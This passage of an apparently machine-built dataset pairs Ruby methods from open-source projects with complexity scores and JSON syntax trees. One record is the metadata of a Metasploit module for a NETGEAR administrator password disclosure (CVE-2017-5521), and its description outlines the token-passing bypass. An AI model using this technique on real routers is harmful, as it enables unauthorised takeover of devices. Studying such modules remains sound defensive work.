load)\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"colorized_totals_line\",{\"type\":\"lvar\",\"children\":[\"colorizer\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_examples\"]},\"empty?\"]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatted\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"colorized_rerun_commands\",{\"type\":\"lvar\",\"children\":[\"colorizer\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"formatted\"]}]}]}","id":"f583a1c2-3b28-483e-b91d-236c4ac78732"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":35,"raw_source":"def set_session\n      session[\"string\"] = \"A wonder\"\n      session[:symbol] = \"it works\"\n      render plain: \"Success\"\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_session\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"string\"]},{\"type\":\"str\",\"children\":[\"A wonder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"symbol\"]},{\"type\":\"str\",\"children\":[\"it works\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"Success\"]}]}]}]}]}]}","id":"ed95fe72-fe85-4501-ac40-ae798532f6b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/pipelines_email.rb","start_line":103,"raw_source":"def should_pipeline_be_notified?(data)\n          notify_for_branch?(data) && notify_for_pipeline?(data)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_pipeline_be_notified?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notify_for_branch?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"notify_for_pipeline?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"1d964df4-4e35-4fdf-86f3-7cb53b202dab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/netgear_password_disclosure.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'NETGEAR Administrator Password Disclosure',\n        'Description' => %q{\n          This module will collect the password for the `admin` user.\n          The exploit will not complete if password recovery is set on the router.\n          The password is received by passing the token generated from `unauth.cgi`\n          to `passwordrecovered.cgi`. This exploit works on many different NETGEAR\n          products. The full list of affected products is available in the 'References'\n          section.\n        },\n        'Author' => [\n          'Simon Kenin', # Vuln Discovery, PoC\n          'thecarterb' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2017-5521' ],\n          [ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758' ],\n          [ 'URL', 'https://thehackernews.com/2017/01/Netgear-router-password-hacking.html'],\n          [ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/'],\n          [ 'URL', 'https://pastebin.com/dB4bTgxz'],\n          [ 'EDB', '41205']\n        ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/'])\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"NETGEAR Administrator Password Disclosure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will collect the password for the `admin` user.\\n\"]},{\"type\":\"str\",\"children\":[\"          The exploit will not complete if password recovery is set on the router.\\n\"]},{\"type\":\"str\",\"children\":[\"          The password is received by passing the token generated from `unauth.cgi`\\n\"]},{\"type\":\"str\",\"children\":[\"          to `passwordrecovered.cgi`. This exploit works on many different NETGEAR\\n\"]},{\"type\":\"str\",\"children\":[\"          products. The full list of affected products is available in the 'References'\\n\"]},{\"type\":\"str\",\"children\":[\"          section.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Simon Kenin\"]},{\"type\":\"str\",\"children\":[\"thecarterb\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-5521\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://thehackernews.com/2017/01/Netgear-router-password-hacking.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://pastebin.com/dB4bTgxz\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"41205\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the vulnerable application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"dac794cc-0857-4a19-9fbe-4e7233b4fb52"}
{"repo_name":"forem","file_path":"./repos/forem/vendor/cache/acts_as_follower-06393d3693a1/lib/acts_as_follower/followable.rb","start_line":71,"raw_source":"def followers(options={})\n        followers_scope = followers_scoped.unblocked\n        followers_scope = apply_options_to_scope(followers_scope, options)\n        followers_scope.to_a.collect{|f| f.follower}\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"followers\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"followers_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"followers_scoped\"]},\"unblocked\"]}]},{\"type\":\"lvasgn\",\"children\":[\"followers_scope\",{\"type\":\"send\",\"children\":[null,\"apply_options_to_scope\",{\"type\":\"lvar\",\"children\":[\"followers_scope\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followers_scope\"]},\"to_a\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"follower\"]}]}]}]}","id":"bda47218-1eb6-4be3-bd4a-425aaf8226f6"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/serializers/export_serializer.rb","start_line":17,"raw_source":"def export_points\n    points.in_groups_of(1000, false).flat_map do |group|\n      group.map { |point| export_point(point) }\n    end\n  end","complexity_score":8.35,"ast_json":"{\"type\":\"def\",\"children\":[\"export_points\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"points\"]},\"in_groups_of\",{\"type\":\"int\",\"children\":[1000]},{\"type\":\"false\",\"children\":[]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"send\",\"children\":[null,\"export_point\",{\"type\":\"lvar\",\"children\":[\"point\"]}]}]}]}]}","id":"c2f39eed-99dd-4724-892a-094a299954c9"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":3398,"raw_source":"def test_custom_param\n    draw do\n      resources :profiles, param: :username do\n        get :details, on: :member\n        resources :messages\n      end\n    end\n\n    get \"/profiles/bob\"\n    assert_equal \"profiles#show\", @response.body\n    assert_equal \"bob\", @request.params[:username]\n\n    get \"/profiles/bob/details\"\n    assert_equal \"bob\", @request.params[:username]\n\n    get \"/profiles/bob/messages/34\"\n    assert_equal \"bob\", @request.params[:profile_username]\n    assert_equal \"34\", @request.params[:id]\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_custom_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"profiles\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"param\"]},{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"member\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"messages\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/profiles/bob\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"profiles#show\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/profiles/bob/details\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/profiles/bob/messages/34\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"profile_username\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"34\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"d1830555-49fc-4573-bf49-1df030ffc5e8"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb","start_line":145,"raw_source":"def test_generate_message_odd_with_default_message\n    assert_equal \"must be odd\", @person.errors.generate_message(:title, :odd, value: \"title\", count: 10)\n  end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_message_odd_with_default_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"must be odd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@person\"]},\"errors\"]},\"generate_message\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"odd\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}","id":"27a6e7ad-5585-46fb-9bdb-911dd8ac900e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/notify.rb","start_line":116,"raw_source":"def subject(*extra)\n    subject = []\n\n    subject << @project.name if @project\n    subject << @group.name if @group\n    subject << @namespace.name if @namespace && !@project\n    subject.concat(extra) if extra.present?\n\n    subject_with_prefix_and_suffix(subject)\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"subject\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"extra\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespace\"]},\"name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"extra\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"subject_with_prefix_and_suffix\",{\"type\":\"lvar\",\"children\":[\"subject\"]}]}]}]}","id":"48f41ed4-ded0-4667-9c5a-ec7be72367db"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/control_parameter.rb","start_line":78,"raw_source":"def potential_parameters\n        expression.parameter_names\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"potential_parameters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expression\"]},\"parameter_names\"]}]}","id":"aa8f6f8e-7807-4b01-a6b1-1c73589d0a6b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":120,"raw_source":"def test_optional_relation_can_be_set_per_model\n    model1 = Class.new(ActiveRecord::Base) do\n      self.table_name = \"accounts\"\n      self.belongs_to_required_by_default = false\n\n      belongs_to :company\n\n      def self.name\n        \"FirstModel\"\n      end\n    end.new\n\n    model2 = Class.new(ActiveRecord::Base) do\n      self.table_name = \"accounts\"\n      self.belongs_to_required_by_default = true\n\n      belongs_to :company\n\n      def self.name\n        \"SecondModel\"\n      end\n    end.new\n\n    assert_predicate model1, :valid?\n    assert_not_predicate model2, :valid?\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_optional_relation_can_be_set_per_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model1\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"str\",\"children\":[\"accounts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"belongs_to_required_by_default=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"belongs_to\",{\"type\":\"sym\",\"children\":[\"company\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"FirstModel\"]}]}]}]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"model2\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"str\",\"children\":[\"accounts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"belongs_to_required_by_default=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"belongs_to\",{\"type\":\"sym\",\"children\":[\"company\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SecondModel\"]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"model1\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"model2\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"c02bdbf6-7510-4b19-ac95-8baad6479578"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_builder.rb","start_line":86,"raw_source":"def build_gantt_entries(work_packages)\n      entries = work_packages.map { |work_package| GanttDataEntry.new(work_package.id, work_package.subject, work_package) }\n      entries = insert_work_package_group_placeholders(entries) if @query.grouped?\n      entries\n    end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_gantt_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entries\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GanttDataEntry\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"subject\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@query\"]},\"grouped?\"]},{\"type\":\"lvasgn\",\"children\":[\"entries\",{\"type\":\"send\",\"children\":[null,\"insert_work_package_group_placeholders\",{\"type\":\"lvar\",\"children\":[\"entries\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"entries\"]}]}]}","id":"ba0c256e-509d-4a90-b32b-d9320184b231"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example_group.rb","start_line":547,"raw_source":"def self.run_before_context_hooks(example_group_instance)\n        set_ivars(example_group_instance, superclass_before_context_ivars)\n\n        @currently_executing_a_context_hook = true\n\n        ContextHookMemoized::Before.isolate_for_context_hook(example_group_instance) do\n          hooks.run(:before, :context, example_group_instance)\n        end\n      ensure\n        store_before_context_ivars(example_group_instance)\n        @currently_executing_a_context_hook = false\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run_before_context_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example_group_instance\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_ivars\",{\"type\":\"lvar\",\"children\":[\"example_group_instance\"]},{\"type\":\"send\",\"children\":[null,\"superclass_before_context_ivars\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@currently_executing_a_context_hook\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContextHookMemoized\"]},\"Before\"]},\"isolate_for_context_hook\",{\"type\":\"lvar\",\"children\":[\"example_group_instance\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hooks\"]},\"run\",{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"example_group_instance\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_before_context_ivars\",{\"type\":\"lvar\",\"children\":[\"example_group_instance\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@currently_executing_a_context_hook\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"e9813335-cd81-430a-ac56-355932fae908"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/i18n_test.rb","start_line":78,"raw_source":"def test_words_connector\n    assert_equal \", \", I18n.translate(:'support.array.words_connector')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_words_connector\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"translate\",{\"type\":\"sym\",\"children\":[\"support.array.words_connector\"]}]}]}]}","id":"0891d1ae-ead6-4a4e-8d13-7aeaf34f09e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/remote_object_storage.rb","start_line":96,"raw_source":"def valid_file_path_format?(file_path)\n        return true if file_path.match?(expected_file_path_format_regexp)\n\n        # This can happen if we need to implement support of path formats that we were not aware of. We should increase\n        # the severity of this log line after we are confident that we have accounted for all expected formats.\n        logger.info(message: \"Skipping because the file path doesn't match the expected format\", file_path: file_path,\n          expected_file_path_format_regexp: expected_file_path_format_regexp)\n\n        false\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_file_path_format?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]},\"match?\",{\"type\":\"send\",\"children\":[null,\"expected_file_path_format_regexp\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Skipping because the file path doesn't match the expected format\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_path\"]},{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_file_path_format_regexp\"]},{\"type\":\"send\",\"children\":[null,\"expected_file_path_format_regexp\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"a986a45e-d975-41ac-ad25-cbcd536deacc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/merge_request_type.rb","start_line":342,"raw_source":"def default_merge_commit_message\n      object.default_merge_commit_message(include_description: false, user: current_user)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"default_merge_commit_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"default_merge_commit_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_description\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}","id":"b4a6a15a-9b85-45cd-b669-f7f0e0269191"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1473,"raw_source":"def test_hash_condition_find_with_aggregate_having_three_mappings_array\n    david_address = customers(:david).address\n    zaphod_address = customers(:zaphod).address\n    barney_address = customers(:barney).address\n    assert_kind_of Address, david_address\n    assert_kind_of Address, zaphod_address\n    found_customers = Customer.where(address: [david_address, zaphod_address, barney_address])\n    assert_equal [customers(:david), customers(:zaphod), customers(:barney)], found_customers.sort_by(&:id)\n  